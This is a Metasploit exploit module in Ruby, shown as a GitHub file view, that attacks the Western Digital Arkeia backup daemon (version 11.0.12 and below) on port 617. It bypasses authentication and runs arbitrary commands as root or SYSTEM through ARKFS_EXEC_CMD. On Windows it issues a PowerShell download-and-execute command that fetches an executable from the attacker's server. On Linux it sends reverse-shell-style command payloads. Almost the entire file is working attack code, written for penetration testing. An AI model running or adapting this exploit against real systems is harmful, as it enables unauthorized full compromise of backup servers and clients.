metasploit-framework/modules/exploits/multi/misc/arkeia_agent_exec.rb

301 lines
8.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WD Arkeia Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
insufficient checks on the authentication of all clients, this can be bypassed.
Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
SYSTEM privileges.
The daemon is installed on both the Arkeia server as well on all the backup clients. The module
2015-07-10 15:33:02 +00:00
has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
},
'Author' =>
[
2015-07-10 15:33:02 +00:00
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
}
],
[ 'Linux',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 255,
'Compat' => {
2015-07-10 15:33:02 +00:00
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
}
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 10 2015'))
register_options(
[
Opt::RPORT(617),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
], self.class)
end
def check
connect
req = "\x00\x41"
req << "\x00" * 5
req << "\x73"
req << "\x00" * 12
req << "\xc0\xa8\x02\x74"
req << "\x00" * 56
req << "\x74\x02\xa8\xc0"
req << "ARKADMIN"
req << "\x00"
req << "root"
req << "\x00"
req << "root"
req << "\x00" * 3
req << "4.3.0-1" # version?
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res[0,4] == "\x00\x60\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #1")
end
req = "\x00\x73"
req << "\x00" * 5
req << "\x0c\x32"
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res[0,4] == "\x00\x60\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #2")
end
req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
req << "EN" # Language
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res == "\x00\x43\x00\x00\x00\x01\x00\x00"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3")
end
# ARKADMIN_GET_CLIENT_INFO
req = "\x00\x62\x00\x01"
req << "\x00" * 3
req << "\x26"
req << "ARKADMIN_GET_CLIENT_INFO" # Function to request agent information
req << "\x00\x32\x38"
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res == "\x00\x43\x00\x00\x00\x02\x00\x00"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3")
end
req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
req << "\x00" * 12
sock.put(req)
# Have to retrieve data twice
sock.recv(1024)
res = sock.recv(1024)
if res and res =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
version = $1
print_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
if version <= "11.0.12"
return Exploit::CheckCode::Vulnerable
end
else
print_status("#{rhost}:#{rport} - Arkeia version not detected")
end
return Exploit::CheckCode::Safe
end
def exploit
if target.name =~ /Windows/
@downfile = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
srv_host = Rex::Socket.source_address(rhost)
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + '/' + @downfile
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/' + @downfile
}})
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents.
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"http:$($s)$($s)#{srv_host}:#{datastore['SRVPORT']}$($s)#{@downfile}\\\";"
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@downfile}.exe');"
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@downfile}.exe');\""
communicate(command)
elsif target.name =~ /Linux/
communicate(payload.encoded)
return
end
end
def communicate(command)
print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")
connect
print_status("#{rhost}:#{rport} - Sending agent communication")
req = "\x00\x41\x00\x00\x00\x00\x00\x70"
req << "\x00" * 12
req << "\xc0\xa8\x02\x8a"
req << "\x00" * 56
req << "\x8a\x02\xa8\xc0"
req << "ARKFS"
req << "\x00"
req << "root"
req << "\x00"
req << "root"
req << "\x00" * 3
req << "4.3.0-1" # Client version ?
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res[0,4] == "\x00\x60\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #1")
end
req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res[0,4] == "\x00\x60\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #2")
end
req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
req << "\x00"
req << "EN" # English language?
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res == "\x00\x43\x00\x00\x00\x01\x00\x00"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3")
end
req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
req << "ARKFS_EXEC_CMD" # With this function we can execute system commands with root/SYSTEM privileges
req << "\x00\x31"
req << "\x00" * 11
sock.put(req)
res = sock.recv(1024)
unless res and res == "\x00\x43\x00\x00\x00\x02\x00\x00"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #4")
end
commandlength = "%02x" % command.length
commandlength = commandlength.scan(/../).map { |x| x.hex.chr }.join
req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
req << "\x00" * 12
req << "\x64\x00\x04\x00\x04\x00"
req << commandlength # Maximum length can be 255 bytes (0xFF)
req << command # Our command to be executed
req << "\x00"
print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")
sock.put(req)
res = sock.recv(1024)
unless res and res[0,4] == "\x00\x63\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure executing payload")
end
# Wait for our payload to be sent, else HTTP server might shutdown too quick
select(nil, nil, nil, datastore['HTTP_DELAY'])
end
def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
register_files_for_cleanup("c:\\#{@downfile}.exe")
send_response(cli, @pl)
end
end